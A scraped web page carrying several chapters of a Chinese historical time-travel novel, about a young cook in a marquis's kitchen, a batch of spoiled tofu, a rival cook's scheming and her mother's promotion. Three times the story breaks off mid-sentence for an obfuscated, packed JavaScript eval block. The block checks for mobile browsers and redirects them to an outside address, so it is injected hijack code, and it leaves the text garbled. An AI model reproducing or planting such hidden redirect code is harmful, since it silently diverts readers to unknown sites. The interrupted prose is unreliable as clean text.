d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472431|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不用不用，映红姐姐您比我会的多，在这里还好帮帮寒姐儿的忙。”曹大丫不觉得购买豆腐这等小事能出什么问题，拍了拍胸口应承下来：“况且你问问我娘，我经常帮家里买东西的。” 曹妈妈闻言，扯了扯嘴角，自家女儿所谓帮忙买东西，便是拿着铜钱去打酱油，顺带给自己买个肉饼和糖人吃。 不过在苏芷寒和映红跟前，曹妈妈还是给女儿留有面子。她点了点头，招呼有些拘谨的映红到身边来：“这等小事就让大丫去吧，咱们帮着寒姐儿做做事。” 映红闻言，终是放下心来。她与曹妈妈一道帮着苏芷寒处理食材，先是把鸡杂鸭杂等物统统焯水，而后或是切块、或是切片，又或是切条后按着不同的时长，分别放进锅里进行卤制。 虽然曹妈妈有意低调，但架不住大厨房一共这点地方，他们一忙碌，立马便有人投来好奇的视线。 给三等仆役做吃食的吴妈妈往那他们瞅了好几眼，又与身边的给二等仆役做吃食的章妈妈说道：“曹娘子也是，哪能这般纵容个小丫头？瞧瞧！倒是给小丫头打起下手来。” “啧！连个管事样都没。” “换做我定要狠狠管教这帮小蹄子，免得他们生出点不该有的心思来。”吴妈妈左看不顺眼，右看不顺眼，要不是许厨娘有事先走一步，她非得去告上一状，像那般岁数的小丫头，怎能做掌勺的活？ 吴妈妈轻蔑地撇了一眼曹妈妈，教她说曹娘子真是老糊涂了，难怪明明是府里的老人，却连个采买的位置都把不住，被人轻易给撅了去。 还有那个曹大丫，真真是个傻货，连偷懒摸闲都不会，巴巴地给人做跑腿的活计，哪像是自家的大女儿，都晓得从院里拿东西回来孝敬自己了。 吴妈妈啧了一声，回转身继续做吃食。正当她把肉饼蒸蛋搁进蒸架的时候，忽然闻到一股诱人的香味。 吴妈妈抽了一下鼻子，下意识往许厨娘平日做菜的地方瞧去，却是没见着人。她先是愣了愣，而后想起许厨娘并不在大厨房，然后一双眼儿登时睁得溜圆。 那……这味儿是从哪里来的？吴妈妈呆愣片刻，心下却有了个猜测。 她僵着身子，缓缓转身往曹妈妈那看去，只一眼立马捕捉到了异常，只见曹妈妈和映红并排并坐在板凳上，她们手里拿着猪油渣，却压根没有咬，两双眼睛正直直看着锅子发愣。 曹妈妈完全没注意到吴妈妈的视线，她盯着铁锅，脑海里空白一片。往日她做的炖杂菜，那便是焯水下再将众物丢进锅里一道炖煮，最后撒点盐、酱汁与香料调调味。 就她说，她下的料比寒姐儿用得还多，可香味却完全不是一个等级的，用化腐朽为神奇来形容，都不为过。 明明用于制作底汤的材料，只是鸭架与猪大骨，两者却炖煮出香味四溢的奶汤来。 曹妈妈坐在灶台边，哪里顾得上看其他婆子奇怪的眼神，只捂着咕咕叫唤的肚皮，一双眼儿像是冒出绿光，直直看着咕噜咕噜冒白汽的锅子，贪婪地嗅着那一缕一缕溢出的醇厚香味。 16.问题 苏芷寒看了眼两边情况，也挪了一张板凳过来，和曹妈妈两人并排并坐在灶台跟前烤火。 她捡起一块猪油渣，咬了一口，这猪油渣是早上曹妈妈熬猪油时留下的，放凉之后已变得又酥又脆，带着淡淡的焦香，是众人难得的零嘴。 咔嚓咔嚓，咔滋咔滋。 随着牙齿与猪油渣相接触，第一感觉便是酥脆，紧随其后是猪油渣特有的焦香，再然后绵密醇厚的油脂便在口中散开。 或许后世吃到这物时，还会有人觉得油腻糊嘴，可如今苏芷寒捧在手里，轻轻咬上一口，真真觉得是极品美味。 “寒姐儿，这汤还未好吗？” “要用的话现在也可以用了，但咱们也不急，就让它慢慢炖着吧。”苏芷寒笑着应道，“我听他们说过，铺里做这物都要半夜便开始准备，这汤越炖越香，鸡杂鸭杂也是越卤越入味。” “那咱们现在……就好了？” “等大丫回来，把那老豆腐炸成油豆腐……就差不多好了。”苏芷寒想了想，“另外蒸一锅子糙米饭便成了。” “那我先去把米饭蒸上。”曹妈妈急需要做些事情来让自己忙碌起来，免得满脑子都是那锅汤。 映红也起身去帮忙，两人把糙米取出来，先是碾了碾多去了些杂质，而后又好好淘洗一遍，准备送到柴火炉子上去烧。 “曹姐姐。” “吴娘子啊，你寻我有什么事么？”曹妈妈抬起头来，发现来搭话的是同为掌勺厨娘的吴妈妈。 比起不爱说话的章妈妈，吴妈妈是大厨房里最要事儿的人，常爱与人嚼舌根，不止是传三到四，而且没有的事也能吹得天花乱坠，比如上回就是她说王婆子好偷人小裤的，又比如再上回就是她在曹家门口看热闹，还给苏芷寒指路的。 另外像是苏芷寒、映红乃至曹妈妈，此前都被她说过闲话。 曹妈妈不待见她，神色淡淡的。 吴妈妈毫不见外，厚着脸皮询问：“曹姐姐，今日你做的是什么吃食？” 曹妈妈冷眼瞥她：“就是炖杂菜。” 吴妈妈暗暗翻了个白眼，这曹瑞香分明是睁眼说瞎话，平日她做的炖杂菜哪有这般的香味？ 正当她不死心，还要再打听打听的时候，曹妈妈屁股一扭，带着映红端着米桶进屋去了。 吴妈妈瞪着眼，心下登时不乐了。她眼珠子一转，又跟着曹妈妈后头进了大厨房，大声询问道：“曹姐姐，我这不就是奇怪您今日做的炖杂菜格外好闻，想问上几句罢了，您走那么快做什么？” 吴妈妈的嗓门不轻，登时引来不少人的注意。包括章妈妈在内，不少厨子厨婢纷纷投来好奇的视线。 他们一直没说话，不代表他们没瞧见，应该说这里大部分人都注意到今日给粗使们做菜的不是曹妈妈，而是寒姐儿。 要晓得上回寒姐儿做粗使的饭食，还是头回来大厨房那日，是许厨娘交代的，而非曹妈妈开口的。再往后几次，便是二姑娘使人要寒姐儿做茶糕，寒姐儿才动手做的。 没想到，曹妈妈居然会让苏芷寒上手做餐食。虽然只是给粗使们做，但那也是掌勺厨娘的活计，是掌勺厨娘们握在手里的权利。 几名厨婢瞧见也不敢说话，此时更是眼神闪烁不定，心不在焉地做着手里活计，眼角余光往曹妈妈那撇。 曹妈妈注意到周遭人的视线，虽不耐烦理吴妈妈，但终归是脚步一顿。她明明晓得吴妈妈问的是什么，但偏偏就不往苏芷寒身上说：“平时我犯懒，没做得这么细致而已，没看到我用的都是平时的料吗？” 就因着用了平日的料，吴妈妈才奇怪的。她刚刚还以为寒姐儿许是偷用了大厨房里贵价的香料，可去橱柜那瞅了眼，外头上着锁，钥匙一把在许厨娘身上，一把在章妈妈身上，无论是谁都不允许寒姐儿乱用的。 “曹姐姐，你这就把我当外人了。” “……”曹妈妈迷惑地瞥了一眼吴妈妈，眼里明晃晃写着你就是外人啊。 吴妈妈的话语都哽住一瞬，正当她重振旗鼓，准备再接再厉时曹妈妈的脸色忽地一变。她警惕地瞅着吴妈妈：“你莫不是看上方子了吧？去去去。” 曹妈妈一脸提防，加快脚步，远远走开去，倒是弄得吴妈妈涨红了脸，忍不住跺了跺脚：“谁看得上你的方子啊！” 吴妈妈原是心下怀疑寒姐儿是不是在外头拜过师傅的，想要打听打听。而被曹妈妈这么一打岔，她登时把原本想问的事抛到脑后，气得脸红脖子粗。 就曹妈妈的方子，送她她都不要嘞！ 吴妈妈气急败坏地回到自己灶前，抬眸正巧见着正目光乱飘的厨婢。她登时拉长脸来，怒声叱道：“死蹄子！磨磨唧唧的做什么呢？我交代你们做的事，这么久了还没做完？” 两名厨婢心里叫屈，连忙低下头，加快手上的动作，万万不敢惹吴妈妈生气。身为厨婢的两人，虽名义上是大厨房的人，但等于半个吴妈妈的徒弟，挨打挨骂都是常事。 想到这里，她们也越不是滋味。趁着吴妈妈没注意，其中一名厨婢又偷偷往曹妈妈，还有苏芷寒那瞧了眼。 在大厨房里绝大部分人眼里，苏芷寒就是个走了狗屎运，凭借着乡野带来的那点小本事得了二姑娘喜欢。 换做别人，早就巴巴地凑上前，给二姑娘屋里的妈妈姑娘们送礼讨好，早早进了小厨房做事。 最起码也要在大厨房里有个厨娘厨婢的身份，拿上三等二等的份例。 偏生苏芷寒老实巴交，几日下来什么动静都没，还按着许厨娘头天的安排，跟着给粗使做饭食的曹妈妈做事，拿的还是粗使的份例，真真教人无语。 几名厨婢私底下也没少说，觉得待后头二姑娘的兴致过了，苏芷寒也再无出头之日。 若是运气好些，或许等五年十年以后能接过曹妈妈的工作，成为下个给粗使做饭食的掌勺厨娘。若是运气差些，大体便是一辈子的粗使了。 可几人谁也没想到，曹妈妈竟是这般大方，直接让苏芷寒给粗使们做饭菜。 倒不是说厨婢羡慕寒姐儿能给粗使做饭菜，她们羡慕的是寒姐儿这么快便有上手的机会，而她们几个整日里做的都是切菜配菜的活计，吴妈妈章妈妈连调味有时都要避着她们，生怕让他们偷学了去。 直到这两年，吴妈妈章妈妈的女儿分别有了前程，这才隐隐约约有松口的意图。不过即便收了不少她们送上的礼物，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480562|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教导的事儿也还是抠抠搜搜。 唯一让厨婢们略略心安的是……曹妈妈厨艺不佳，一贯来是给粗使做吃食的，没学过官家的体面菜色，更没得过主子们的赏赐，跟着她就算有机会上灶台，那也是白搭。 想到这里，厨婢们总算稍稍舒坦了些，她们收回目光，加快了手上的动作。 与此同时，曹大丫推门而入。她胳膊上挽着个竹篮，夸张地抹了抹额头的汗水，然后把竹篮搁在桌案上：“我回来了，回来了，今儿个是什么日子？怎么外面市井上人山人海的，人都要挤成大饼了！” “市井上日日人多的。” “我觉得比我平日出门多多了。”曹大丫并不服气。 “许是后日便是重阳节的缘故罢？”映红走上前来，伸手掀开盖在竹篮上的粗布，把豆腐一块块往外拿：“我听外头铺子老板说，他们到重阳节那日都会到山上或者园子里售卖吃食，好多人会去登高爬山，又或是去园子里赏菊呢，许是为了提前准备，这才聚在市井里买东西……咦？” 映红的声音渐渐变轻，眉毛渐渐蹙起，惊疑不定地看着竹篮里的豆腐：“这是……” “怎么了？”曹妈妈闻言，也探身看来。当她看见竹篮里的东西时，下意识倒抽了一口凉气，猛地抬高声音：“你，你这丫头——” 话说到一半，曹妈妈又想起大厨房人多眼杂，赶紧收了口。可她的一张脸憋得青红青红的，鼻尖沁出汗来，眼睛更快要喷火了。 苏芷寒见着曹大丫回来，便把卤煮好的鸡杂鸭杂取出堆到盆里，随即把锅子洗了洗又抹得干干净净，再往里倒入宽油。 紧接着她走过来拿豆腐时，才注意到三人的沉默。苏芷寒抬步走上前来，顺着他们的视线看向竹篮：“怎么……了？” 顿了顿，她若无其事地把粗布放回到竹篮里，又把摆在案上的老豆腐放到砧板上，熟练地切成大小一致的方块：“大丫买的豆腐不错，瞧着光泽鲜亮的。” “是，是啊。” “大丫，你豆腐是不是买少了。” 曹妈妈和映红也回过神来，接二连三地开口道。 原本察觉到古怪，正打算过来瞧瞧情况的吴妈妈登时收住了脚，兴趣缺缺地收回目光，曹瑞香的大女儿，真真是个蠢的，都几岁的姑娘买东西还少买。 又蠢，又懒，又笨。 哪哪都比不上自家的姑娘。 见吴妈妈没了兴致走到一侧，不在注意这边以后曹妈妈才松了口气，背对着吴妈妈，手伸过去，狠狠拧了女儿一把。 曹大丫吃痛，眼里含着泪。 曹妈妈见状，没点心疼倒是升起火气来。她咬紧牙根，压低声音道：“你说！你去哪里买的？你都几岁的人了？这会上这等当，买回这般的坏豆腐！” “我也不晓得……” “铺子人多，我挤不进去，刚好外头有位阿公在卖豆腐我就去要了……” 曹大丫眼泪珠子在眼眶里滚，满肚子的委屈无处可说。她心里难过，又唯恐被大厨房里其余人瞧见，忙低下头拿汗巾子抹抹脸，说话的声音也哽咽起来：“我看的时候，都，都是好豆腐。” 哪晓得，拿回来就成了这样！ 17.蒋珍娘升职 苏芷寒听了一耳朵，登时想起上回去市井时阿娘与自己说过的事来。显然曹大丫没提防，放豆腐时许是被商贩转移了注意力，让对方有了可乘之机，把坏掉的豆腐放了进去。 ……不，说不定虽然坏了，但也能用。 苏芷寒刚撇了一眼，那豆腐白里透着淡淡的灰色，散发着一股让她熟悉的怪异味道。 后世人常吃毛豆腐、长沙臭豆腐，绍兴臭豆腐，其实还有色泽或青或灰或白的臭豆腐，这种豆腐不是用苋菜梗汁浸泡而成，有些是用烂咸菜汁腌制、有些是用豆豉腌制而成，各有不同，各有风味。 苏芷寒心生猜测，但留了个心眼，并未把自己的想法说出口。毕竟曹妈妈现在正揣着火气教育女儿，自己横插一脚，虽看似解决了问题，但实则教母女两人尴尬。 怕到时候两人一个不好怨女儿，一个不好怨母亲，自己没得了感激，反而落了埋怨。 苏芷寒顾虑归顾虑，忍不住又撇了一眼竹篮子，略有些眼馋。 与此同时，曾当过采买的曹妈妈立马听出女儿话里的意思，知道是那卖豆腐的使的手脚。她没想到自己这个女儿，能这般单纯无知，这般粗心大意，头一天便能捅出篓子来。 要不是这事是在大厨房里闹的，她非得拉着女儿，去市井寻那不要脸的老货，扇他十个巴掌，教他把吞了的钱统统交出来。 偏偏，偏偏——！ 曹妈妈眼角余光撇了一眼吴妈妈，见她坐在炉灶前，时不时往这边瞥上一眼的架势，便晓得她的疑心尚未消除。 曹妈妈又气又恨，终是只能咽下这口气。她把竹篮子放到灶台下，叮嘱女儿待会把竹篮拎走，赶紧丢到角落里，万万不能让人瞧见。 “要是再出错，回去就揍你！” “我晓得了。”曹大丫刚来头一天，便犯了不大不小的错。她抽了抽鼻子，难得认真地点了点头，略显紧张地盯着竹篮。 “……那篮子，肯定有猫腻。”吴妈妈看了几眼，便心里有了成算。她眼珠子一转，心里顿时有了主意，面上装作不知情，背着手去瞧两名厨婢做的事。 “寒姐儿，油热了。” “好嘞。”苏芷寒收回目光，把切块的豆腐顺着锅边滚入油锅内。 随着豆腐与菜籽油接触，油锅里爆发出惊人的噼啪声，无数小气泡从锅内翻腾而起，将雪白的豆腐逐一淹没。 而豆腐们也不甘束手投降，它们宛如在金色海浪里勇猛向前的船只，随波逐流却又一往无前，时刻准备征服狂躁的金色海浪。 声音渐渐转小，气泡却不少反多。 苏芷寒手持炒菜勺，在油锅里轻盈移动，每一次拨动都让豆腐翻滚起来，每一面都均匀接触到热油，渐渐穿上一层淡黄色的衣衫。 很快，随着炸制的过程，锅里的豆腐以肉眼可见的速度迅速蓬松变大，在锅里挤挤挨挨凑在一起，越堆越高，从外面几乎看不到底下的热油。 “哇！简直和法术一样。”还是头回见到油豆腐是如何做出来的映红睁大了眼儿，惊奇地瞅着颜色从淡黄变成金黄的油豆腐。 苏芷寒耐心地翻动着油豆腐，确保每块豆腐都被炸透，才将它们尽数捞出，堆放到架子上沥去多余的热油。 等到油豆腐控油，温度减低，苏芷寒才再次将油豆腐们转移到案板上，对半切开堆入盆里。 然后，苏芷寒掀开锅盖。 一直被蕴藏在其中的浓烈香气轰然而起，随即四散而开，就连刚刚泰然处之的章妈妈也面露惊讶，抬眸往苏芷寒的方向看来。 更别提一直关注的吴妈妈，她嗅着香气，更是断定自己的猜测，这般上好的汤底可不是曹妈妈这样的三脚猫能做出来的。 莫非这寒姐儿，家里曾做过厨子？ 吴妈妈刚升起猜测，又迅速摇摇头，她最是好管闲事，像是蒋家的八卦事更是与人聊了不知多少遍。 蒋娘子的爹娘都不是做厨子的，外面寻的郎君更是个乡野的读书人，和厨子这一行半点关系都没。 真真是稀奇了！ 当下各家酒楼乃至大户人家的菜谱都是厨子们的传家之宝，万万不会向外人透露的。要是寒姐儿真已拜师学艺，对方又哪会让学了手艺的她跟蒋娘子一道卖身入侯府？ 吴妈妈越思考，越是疑惑，对寒姐儿的好奇越发强烈。她不断更换着姿势，仿佛浑身上下有无数只蚂蚁在攀爬，不安且躁动。 苏芷寒瞅了眼汤底熬煮的状态，往里倒入提前备好的料粉，搅拌均匀又用大火烧开。 等汤底再次沸腾，她把火力调小，又将油豆腐、鸡血、鸭血和菘菜一道倒入其中烫熟，最后苏芷寒双手在围裙上抹了抹：“曹妈妈，我都准备好了。” 听到‘准备好了’四字，曹妈妈登时来了精神。她顾不得再教育女儿，兴致勃勃地凑上前来，瞧着满桌案摆着的东西，一时间竟是不知道如何下手。 苏芷寒贴心地取了个大瓷碗来，往里捞上一把鸭杂鸡杂，再来一把油豆腐和鸭血鸡血，最后舀上一大勺汤。 她把瓷碗推到曹妈妈跟前，又递上汤勺，还不忘贴心道：“曹妈妈您先尝一尝味，瞧瞧有没有问题。要是有问题的话，我也好马上改，别碍着大家伙用饭。” “好好好。”曹妈妈早已被这汤迷得七晕八素，完全没注意苏芷寒的话语。 她目光下移，注意力全落在色如暖玉的汤汁上。刚刚从锅里舀出的汤汁，此时正冒着缕缕热气，散发着勾人的幽幽香味。 曹妈妈捡起瓷汤勺，小心翼翼地舀起一勺汤来。她先是吹了吹，方才抿了一口，当汤汁涌入口中的瞬间，醇厚的鲜甜味道席卷了整个口鼻，只教曹妈妈愣了一愣。 喉结轻轻一颤，汤汁顺着喉腔一路朝着胃肠奔涌而去，所到之处瞬间暖意上涌，从胸腹到四肢百骸皆是暖洋洋的。 曹妈妈只觉得通体舒畅，双眼放光，她放下汤匙，又捡起筷子，挨个夹起卤煮的鸡杂鸭杂品尝，样样好吃，各个好味，那津津有味的模样直教旁边看着的映红和曹大丫连吞口水。 没等她们俩说话，手边便碰到苏芷寒送来的瓷碗：“愣着做什么？你们也快尝尝罢。” “瞧瞧。”曹妈妈夸赞的话语还没说出口，便看到曹大丫和映红也接过瓷碗。她忍俊不禁，亲昵地伸手戳了戳苏芷寒的脑门，笑道：“你这丫头好生刁钻，刚刚还要我拿主意给你瞧瞧，现在又是给她俩盛了，我瞧你哦明明有自信得很。” “……”苏芷寒愣了愣，难得红了脸。 “呜哇——好好喝！”曹大丫喝了一口，便忍不住惊呼出声。明明这汤也类似于炖杂菜的做法，这汤里别说腥膻味，更是鲜美得让她想把舌头吞下去。她听闻曹妈妈的话语，连忙竖起大拇指帮腔：“寒姐儿有信心才对，超好喝，特别好喝，比我娘做得好喝多了！！！” 曹妈妈：“……咳咳。” 旁边的映红不晓得该说什么话，索性闭嘴不语，只一个劲儿地喝着汤，嚼着鸡杂鸭杂。 吴妈妈看着，撇了撇了，教她说曹妈妈、曹大丫和映红都是没吃过好东西的，就碗汤也能激动成这样。 她瞅着陆陆续续进来用晚食的仆役，眼见曹妈妈几个忙碌起来，伸手示意厨婢过来，悄声道：“秋月，你待会……” …… 粗使们席卷着冷风走入灶房，三三两两拿了今日的吃食。很快便有人注意到吃食的不同，好奇询问：“呀？曹妈妈，今儿个怎么这般仔细？还把肉菜素菜给分开了？” 除去一碗炖杂菜汤，另有一道鸡油炒绿菘菜，另加一人一碗糙米饭。 “就是就是，瞧着上档次了！” “最近曹妈妈的手艺是越来越好，那鸡杂鸭杂都没腥味，吃着可香了。” “莫不是快到重阳节了，有新东西？” “这么一说今儿个的汤味特别香啊。” 几名粗使乐呵呵地说着话，心下却是不带任何期待，就曹妈妈那手艺……能吃就行。 他们把糙米饭扒到汤里，等糙米吸饱了汤汁再往嘴里扒拉，可就一口几人便是齐齐一愣，表情古怪不少。 那汤汁鲜的，舌头都要掉下来了。 苏芷寒正帮忙打饭，回头便瞅见蒋珍娘与洗衣房的同僚一起进了大厨房。她心中闪过一丝疑问，下意识道：“阿娘，您……来了？” 刚中午走之前，母女俩不是说好晚上炖羊腩的么？怎么过来吃晚食了？ “这就是蒋娘子的女儿吧？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488868|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这孩子，真真一表人才。” “我瞧着，和蒋娘子长得一模一样呢！” 面对洗衣房仆佣的夸赞，苏芷寒笑了笑，没把这话放在心上。她娘是长得真俊，头发乌黑油亮，五官端正柔和，即便身上的衣衫略显肥大，也看得出苗条的身量，乍一眼很少有人能看出她是一名已生过两个孩子的妇人。 比起蒋珍娘，苏芷寒还没长开，比起刚穿越时那瘦到脱相的模样，现在她的脸上已多了点肉，勉强算得上是个模样清秀的小丫头。 “就是寒姐儿的头发还有些黄。”忽地里面一名婆子插话道，“我家里有从药堂里买的乌发丸，回头给蒋娘子您送去，给寒姐儿吃一段时间就能好的！” “那怎么好意思？不如……” “哎呀没关系的！”那婆子赶在蒋珍娘婉拒以前，拍着胸膛把这事应承下来：“我儿子便在药堂里做事，往里您要配乌发丸也方便呐。” 目前最让苏芷寒困惑的是眼前情况，蒋珍娘与洗衣房里的仆妇婆子熟悉归熟悉，关系大多一般般，怎么今日瞧着这般亲近？ 蒋珍娘看出苏芷寒的问题，并未回答，只冲着她眨了眨眼，领着几人去寻吴妈妈。 片刻以后，她又回到苏芷寒跟前。 苏芷寒好奇道：“阿娘，这是怎么回事？” 蒋珍娘没回答，而是从怀里扯出一块绸子丝巾，又抓了一把糖果给苏芷寒，教她分给灶房里的人吃。 苏芷寒瞅着汗巾子和糖果，再也难掩面上的震惊。且不说那汗巾子是绸子的，旁边还绣着小花，一条便要百来文，就是那一把糖果，竟然不是多见的饴糖果子，而是水果糖。 这一把十几颗，少说也要百来文！ 就连上回她与映红敲绣荷竹杠，几人也压根没看向这糖果过，而蒋珍娘又怎么会捞出这么一大把来？ 眼看苏芷寒惊得合不拢嘴，问号都快把她给淹没时，蒋珍娘终于不再遮掩面上的笑容。她伸手捧着苏芷寒的小脸，吧嗒香了口，而后欢欢喜喜地宣布好消息：“往后你娘我就不在洗衣房做事了，而且——以后都拿三等的份例啦！” 苏芷寒惊得眼睛溜圆，像是炸毛的小猫。她直到双眼生涩，才后知后觉地回过神来，眼睛眨了又眨，艰难询问道：“等会……” 她们母女就分开了半天吧？不是半个月，也不是半年吧？怎么阿娘就，就突然换地方还升职加薪了？ 苏芷寒小嘴张成了O字，想不明白也索性不想了。她顾不上给旁的粗使盛饭，与曹妈妈说了声，又把糖果塞给映红和曹大丫。 紧接着，苏芷寒拉着蒋珍娘到一边说话：“阿娘，您快和我说说，这到底是怎么回事？” “前日的时候，我去院子里收衣服……”蒋珍娘没隐瞒的意思，爽快地将来龙去脉说出口。 洗衣房的仆佣每日要去院子里收取待洗的衣物，再将脏衣裙分门别类放在不同的箩筐里。 每去一个院子都必须返回洗衣房一趟，以免把几位主子的衣衫弄混了，收取衣服来来回回总共得跑十几二十余趟。 虽说不必把手泡在冷水里，比浸泡、清洗、晾晒，熨烫等活计要轻松些，但碰到刮风、下雨乃至下雪天也是件苦活。 那日轮到收衣服的蒋珍娘去了三娘子院子，刚推着车回来就碰到了个摔在路边的仆妇：“我瞧她摔得厉害，就背着她回三娘子院子。” “今日徐妈妈刚好些，重新回三娘子院里做事了。”蒋珍娘喜不胜喜，“我当时背她的时候，只以为是普通的仆妇罢了。” “直到今日三娘子使人把我唤去，我才晓得这位徐妈妈其貌不扬，虽是二等的仆妇，但其是三娘子的陪房，在三娘子跟前颇有点脸面。” “后头，三娘子说院里有个婆子身体不太好，频频请假，准备开恩教她回去养老了，要我明日起就去院子里当值，往后不必在洗衣房里做事了。” “闹，除去那些还有好多——”蒋珍娘挤挤眼，说起绸做的汗巾子和糖果：“都是三娘子赏的。” “三娘子，频频请假的婆子……”苏芷寒总觉得这般的描述有点熟悉，重复一遍后突然表情古怪起来：“等会，那不是……” “对，就是王婆子。” 18.暴露 苏芷寒没想到，竟是有这般巧合事。 蒋珍娘前面还板着脸，瞧着女儿眼睛嘴巴都张得溜圆的搞笑模样，也是忍不住笑出声来：“这事看似巧合，实则也是三娘子嫌恶了王婆子。” “王婆子本是做养鸟喂猫的活儿，一日都不用在院里待多久，哪晓得她称病告假，连着几日都没去院里。” “徐妈妈便遣了旁人去养鸟喂猫，哪晓得负责的婢子初回做这事，一不留神竟是教屋里养的猫跑了出去。” “这只猫儿据说还是三娘子与三郎君定下婚事时，三郎君晓得她喜欢猫，特意使人去临清州买回来的，寓意非常。” “徐妈妈得知猫儿溜了出去，当即便让院里的人去寻猫，她自己也跟着出去寻，这才摔了的。” 蒋珍娘把自己听来的事儿与女儿念道，教她说王婆子也是活该：“即便不是阿娘我，也会有旁人顶了王婆子的活计。” 自己不过是恰逢其会，在认真做事认真做人的时候，老天也恰好眷顾了她。 且不说王婆子知道后会是如何反应，起码苏芷寒和蒋珍娘此刻都觉得很是解气，忍不住相视一眼，偷笑出声。 “那王婆子知晓，怕是要恨上阿娘。”苏芷寒笑过，又提醒她娘。 “她自己做事不稳重，还能怪到我头上？再说你瞅着，王婆子没了府里的活，后头有她的苦头吃。”蒋珍娘接话道。 一来这件事说破天，没理的也是王婆子。要她真敢寻上门，她就敢揪着王婆子到三娘子跟前说说理。 二来没了差事的王婆子，往后与王媳妇的关系还不晓得会如何呢。 当下说是孝道，可当爹当娘的几个舍得去官府告儿子的？若是天下人都孝顺，那山里悬崖底下为何白骨堆积？ 王婆子得了主子的厌，往后难进娘子郎君的院子。一把年纪的人要在府里寻个合适的活计，又哪里是容易简单的事，更何况王婆子的儿子还在三郎跟前做事。 教蒋珍娘说，王婆子后头有的是苦。 蒋珍娘听出来女儿的担忧，她心里腹诽归腹诽，面上还是老老实实的表示：“你说得对，咱们是该小心些，宁可远着点……” 说到这里，蒋珍娘又想起一件事：“说起来我们上回只换了破损的窗纸，明日我寻府里的木匠来一趟，再把咱们家的窗户钉牢点，刚好快冬天了，屋里也得暖和暖和。” 说起暖和两字，蒋珍娘又忍不住提起那只猫儿：“那猫可真好看啊，雪白雪白的，搂在怀里就像是抱着天上的云朵一般，与咱们在村里见过的猫完全不一样。” 村里多是黄猫，偶尔有白色的，也都因常在炉灶里钻来钻去而显得灰扑扑脏兮兮的。 蒋珍娘悄声与女儿说：“回头你到三娘子院子来，阿娘抱给你瞧瞧。” 苏芷寒想的是，自家阿娘进三娘子院子到底好不好。忠勇侯府老太太膝下一共有三儿一女，除去远嫁多年的大姐儿外，其余三兄弟尚未分家。 长子便是如今的忠勇侯爷陆明南，也是府里的大房。如今侯爷远在边疆打仗，而府邸上上下下的事情都交由大娘子赵氏掌管，尤其是在大姑娘嫁去荣王府后，大房的人地位更是猛猛往上拔了一截。 这，也是苏芷寒最不想联系上的。 府里的二房便是老太太的次子陆明北，其为荫补入仕，目前为七品官。虽其文武均不如长兄幼弟，在家里颇为低调，但其妻子乃是李氏乃是陆明关的表妹，老太太的娘家侄女，关系亲厚，出手大方，在府里的地位不低，名声也颇为不错。 此前，苏芷寒想去的三姑娘院便是二房家的。 而蒋珍娘即将去的是府里三房，乃是老太太的幼子陆明关。其为科举入仕，目前为六品官，其妻三娘子周氏乃是商户出身，据说其父曾救过老侯爷，这才定下的婚事。 三娘子的风评两极分化，有人说其刻薄小性不容人，也有人说她宽和大方护犊子，差别之大着实教人生疑。 可再多的事，便甚少听说。 苏芷寒心思转了又转，可三娘子都发了话，又不是她说让阿娘不去，阿娘就会不去的。 最重要的是—— 苏芷寒抬眸看着脸上满是欢喜，拉着她念念叨叨说着话的蒋珍娘，心里到底软和了下去。 反正攒钱路还有一大截呢！ 正当苏芷寒准备开口叮嘱她娘做事万分要小心的时候，身后忽然响起咣当巨响。她止住话语，循着声音望去，只见身后吴妈妈身边的厨婢秋月与曹大丫撞在一起，重重跌坐在地上。 而两者旁边，还落下一只颇为眼熟的竹篮子。竹篮侧翻在地上，骨碌碌滚动两圈，里面盖着的粗布顺势缓缓滑落，露出里头泛着青色的豆腐来。 听到动静过来帮忙的粗使扫了眼：“哎呀，哪里来的豆腐，这都坏掉了还放在灶房里？” “真的哎……” “曹妈妈，是不是你们忘了用？” “哎呀哎呀，这是咋回事……咦？”吴妈妈假装是关心秋月，实则凑上前来查看。 她瞧了眼泛着青色的坏豆腐，难掩眼里的幸灾乐祸，故作惊讶地捂住嘴：“曹姐姐，这不是刚刚大丫带回来的篮子吗？怎么里头是这般的豆腐？” 刹那间，屋里寂静无声。 数道视线或是落在豆腐上，或是落在曹妈妈和曹大丫身上。 曹大丫脸皮薄，本就心虚的她闻言脸颊瞬间红通通的，鼻尖更是沁出汗来，她想说话又不晓得说什么，只好把求救的眼神投向曹妈妈。 曹妈妈面上表情僵硬，尤其眼角余光撇到从外头进来的许厨娘和满屋子的仆役，更是急得嘴唇发干。 要是曹大丫都十岁了，买豆腐还能买回坏豆腐的事传开，她岂不是要变成全府里的笑话！ 曹妈妈脑筋急转弯，磕磕绊绊道：“这是我教大丫买回来的，是专门拿来做吃的。” 